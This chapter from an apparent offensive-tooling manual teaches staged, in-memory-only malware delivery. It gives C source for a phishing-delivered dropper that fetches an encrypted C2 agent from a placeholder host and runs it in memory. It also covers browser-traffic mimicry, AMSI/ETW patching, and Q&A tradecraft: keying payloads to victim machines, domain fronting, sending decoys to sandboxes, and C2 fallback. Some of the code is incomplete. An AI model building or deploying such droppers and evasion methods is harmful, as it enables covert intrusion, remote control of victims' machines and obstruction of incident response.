Chapter 70

Payload Staging and In-Memory-Only Execution

The ideal implant never writes a malicious file to disk. Staged delivery separates the initial foothold (a small, low-risk dropper) from the real payload (large, feature-rich C2 agent) — the dropper downloads and executes the real payload entirely in memory. Between stages, the payload exists only on the C2 server, encrypted in transit via TLS. On the victim, it exists only in process memory — no file on disk means no static AV scan on the malicious component. This chapter covers the full staged execution model: how to design a minimal stage-1 dropper, how to download and execute a stage-2 agent in memory, and how to structure memory regions to minimize forensic artifacts.

The Staging Model

Two-stage execution model and what each stage does
  STAGE 1 — The Dropper (on disk, delivered via phishing):
  ─────────────────────────────────────────────────────────────────────────
  Characteristics:
    - Small binary (8-50KB)
    - Contains almost no malicious logic (no shellcode, no C2)
    - May be signed or have benign-looking metadata
    - Single purpose: download stage 2 and execute it in memory
    - After executing stage 2: stage 1 can exit or remain dormant
  
  Contents:
    - String-encrypted C2 server address (Ch55)
    - AES key for stage-2 decryption (or key derived from environment, Ch63)
    - Minimal WinHTTP download code
    - VirtualAlloc + memcpy + VirtualProtect + JMP
  
  STAGE 2 — The Full Agent (never on disk, in memory only):
  ─────────────────────────────────────────────────────────────────────────
  Characteristics:
    - Full-featured C2 agent (Cobalt Strike Beacon, custom agent, etc.)
    - Downloaded over HTTPS from C2 server
    - Decrypted in memory
    - Never written to disk
  
  Contents:
    - All C2 communication logic
    - Plugin system for additional capabilities
    - Persistence module (if desired)
    - Anti-analysis routines
  
  Flow:
  ─────────────────────────────────────────────────────────────────────────
  Victim opens phishing attachment
    → Stage 1 dropper executes
      → HTTPS GET to C2 (looks like browser traffic with JA3 randomization)
        → C2 returns AES-encrypted stage-2 blob
          → Stage 1 decrypts in memory
            → Stage 1 maps stage-2 PE into memory (custom PE loader, Ch65)
              → Stage 1 calls stage-2 entry point
                → Stage 2 runs (full C2 agent, no files on disk)

Stage-1 Dropper Implementation

/* stage1_dropper.c — Minimal stage-1 dropper
   
   Downloads encrypted stage-2 payload from C2 server over HTTPS.
   Decrypts with AES-256-CBC. Loads the decrypted PE into memory
   using a manual PE loader (adapted from Ch65 packer stub).
   Executes stage-2 entry point. Never writes stage-2 to disk.
*/

#include <windows.h>
#include <winhttp.h>
#include <bcrypt.h>
#include <stdio.h>
#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "bcrypt.lib")

/* Stage-2 server details — encrypted as stack strings (Ch55) */
static const wchar_t *get_c2_host(void) {
    static wchar_t host[64];
    /* Build stack string: 'cdn.example.com' */
    host[0]='c'; host[1]='d'; host[2]='n'; host[3]='.';
    host[4]='e'; host[5]='x'; host[6]='a'; host[7]='m';
    host[8]='p'; host[9]='l'; host[10]='e'; host[11]='.';
    host[12]='c'; host[13]='o'; host[14]='m'; host[15]='\0';
    return host;
}
static const wchar_t *get_c2_path(void) {
    static wchar_t path[64];
    path[0]='/'; path[1]='s'; path[2]='t'; path[3]='a';
    path[4]='g'; path[5]='e'; path[6]='2'; path[7]='.';
    path[8]='b'; path[9]='i'; path[10]='n'; path[11]='\0';
    return path;
}

/* AES key and IV (derived from environment at runtime — Ch63) */
static void derive_aes_params(BYTE *key_out, BYTE *iv_out) {
    /* In production: derive_key_from_environment() from Ch63 */
    /* For simplicity: hardcoded values (replace with env derivation) */
    memset(key_out, 0x42, 32);
    memset(iv_out,  0x13, 16);
}

/* Download stage-2 from C2 */
static BYTE* download_stage2(DWORD *size_out) {
    HINTERNET hSession = WinHttpOpen(
        L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (!hSession) return NULL;

    HINTERNET hConnect = WinHttpConnect(hSession, get_c2_host(),
                                         INTERNET_DEFAULT_HTTPS_PORT, 0);
    HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", get_c2_path(),
        NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);

    /* Add headers that mimic normal browser traffic */
    WinHttpAddRequestHeaders(hRequest,
        L"Accept: image/webp,image/apng,*/*\r\n", -1L, WINHTTP_ADDREQ_FLAG_ADD);

    if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS,
                             0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) {
        WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession); return NULL;
    }
    WinHttpReceiveResponse(hRequest, NULL);

    /* Read response body */
    DWORD total = 0, avail = 0;
    BYTE *buffer = NULL;
    while (WinHttpQueryDataAvailable(hRequest, &avail) && avail > 0) {
        BYTE *new_buf = (BYTE*)HeapReAlloc(GetProcessHeap(), 0, buffer, total + avail + 1);
        if (!new_buf) { HeapFree(GetProcessHeap(), 0, buffer); return NULL; }
        buffer = new_buf;
        DWORD read = 0;
        WinHttpReadData(hRequest, buffer + total, avail, &read);
        total += read;
        avail = 0;
    }
    WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    *size_out = total;
    printf("[+] Downloaded %lu bytes from C2\n", total);
    return buffer;
}

/* In-memory PE loader (from Ch65 packer stub) */
extern BOOL load_pe_in_memory(PBYTE pe_data, DWORD pe_size);

/* Main dropper logic */
int main(void) {
    /* Apply Part 5 evasion first */
    /* (unhook ntdll, patch AMSI/ETW — from respective chapters) */
    
    /* Download encrypted stage-2 */
    DWORD enc_size = 0;
    BYTE *enc_data = download_stage2(&enc_size);
    if (!enc_data) { printf("[-] Download failed\n"); return 1; }

    /* Derive AES key from environment */
    BYTE key[32], iv[16];
    derive_aes_params(key, iv);

    /* Decrypt stage-2 in memory */
    BYTE *stage2_pe = NULL;
    DWORD stage2_size = 0;
    /* aes_decrypt() from Ch63: */
    /* aes_decrypt_buffer(enc_data, enc_size, key, iv, &stage2_pe, &stage2_size); */
    /* (linked from aes_payload.o) */
    
    /* Zero and free encrypted download buffer */
    SecureZeroMemory(enc_data, enc_size);
    HeapFree(GetProcessHeap(), 0, enc_data);
    SecureZeroMemory(key, sizeof(key));
    SecureZeroMemory(iv,  sizeof(iv));

    if (!stage2_pe) { printf("[-] Decryption failed\n"); return 1; }
    printf("[+] Stage-2 decrypted: %lu bytes\n", stage2_size);

    /* Load stage-2 PE into memory and execute */
    BOOL ok = load_pe_in_memory(stage2_pe, stage2_size);
    
    /* Zero decrypted stage-2 from dropper's memory (it's now running separately) */
    SecureZeroMemory(stage2_pe, stage2_size);
    VirtualFree(stage2_pe, 0, MEM_RELEASE);

    return ok ? 0 : 1;
}

Questions & Answers

If stage-2 is never written to disk, can incident responders recover it after the fact?

Yes — from memory, if a memory dump is taken while stage-2 is running. Volatility's malfind finds executable memory regions not backed by files; procdump dumps the entire process; memdump captures full RAM. The key operational security point: "never on disk" doesn't mean "unrecoverable." It means: (1) static AV/file scanning never has a chance to flag it, (2) file-based forensics (disk imaging, filesystem timeline analysis) won't find it, (3) it disappears when the machine reboots (no persistence without additional mechanism). Memory forensics requires either live response (analyst on the running machine) or a crash dump / hibernation file. Against a fast-responding IR team with memory capture capability, in-memory-only execution is a time delay, not a permanent eviction from forensic analysis. Combined with memory forensics evasion (Ch60) — PE header wipe, LDR unlink, zero after use — the window for successful forensic capture narrows significantly.

What happens when the stage-1 dropper is detected? Can you design for graceful degradation?

Yes — this is operational OPSEC design. Stage-1 should be designed so that if it's caught and analyzed by the defender, it reveals as little as possible about stage-2: (1) Use environment-derived AES keys — without the correct victim machine's hostname/serial, the analyst can't decrypt the downloaded stage-2 blob. (2) Use domain fronting for the C2 URL — the host header in the HTTPS request reveals a CDN, not your real C2 server. (3) Don't embed the raw C2 IP in stage-1 — resolve via DNS at runtime (so the analyst sees a domain name, not an IP, and your C2 IP is only exposed to the victim's DNS). (4) If stage-1 detects analysis (VM/debugger checks from Ch52-53), it downloads a benign file instead of stage-2, making the analyst's detonation yield nothing. Graceful degradation under analysis is the hallmark of professional staged implant design.

How does staged delivery interact with C2 reliability and availability?

Staged delivery creates a hard dependency: stage-1 MUST reach the C2 server at first execution. If the C2 is down, has connectivity issues, or has been burned (blocked by network security), stage-1 fails silently. Mitigations: (1) Multiple C2 fallback URLs (try primary, then secondary, then tertiary) with fail-over logic in stage-1. (2) Backup download mechanisms — try HTTPS first, fall back to DNS-over-HTTPS if HTTPS is blocked. (3) Domain fronting — the "real" C2 URL is fronted through a CDN, making it much harder to block at the network level without blocking the entire CDN. (4) Sleep-and-retry — if stage-1 can't reach C2, sleep for a random period (1-6 hours) and retry, to handle temporary C2 downtime. The retry loop should check VM/sandbox status before each retry — if it looks like a sandbox, don't retry (sandbox doesn't have your C2 blocked; the retry would eventually succeed and expose stage-2 in the sandbox).